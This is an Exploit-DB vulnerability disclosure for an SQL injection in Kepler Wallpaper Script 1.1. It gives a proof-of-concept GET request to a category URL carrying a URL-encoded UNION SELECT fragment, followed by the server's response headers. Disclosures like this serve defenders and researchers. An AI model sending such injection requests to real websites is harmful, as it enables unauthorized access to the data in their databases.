Kepler Wallpaper Script 1.1 - SQL Injection

EDB-ID:
46207

CVE:
N/A

EDB Verified: ✓

Author:
IHSAN SENCAN

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2019-01-21

Vulnerable App:

```
# Exploit Title: Kepler Wallpaper Script 1.1 - SQL Injection
# Dork: N/A
# Date: 2019-01-19
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://keplerwallpapers.online/
# Software Link: https://codeclerks.com/PHP/1559/Kepler-Wallpaper-Script
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:
# 1)
# http://localhost/[PATH]//[PATH]/category/xxx[SQL]
#

GET
/[PATH]/category/xxx%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%43%4f
HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101
Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=6963a7f072dbf72fb4cb420c9f5ad80a;
ResolutionWidthAuto=1366; ResolutionHeightAuto=768; FilterType=Auto
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Sat, 19 Jan 2019 09:01:06 GMT
Server: Apache
X-Powered-By: PHP/5.6.37
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-
check=0
Pragma: no-cache
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
```

Tags: SQL Injection (SQLi) **Advisory/Source:** Link

Databases

Links

Sites

Solutions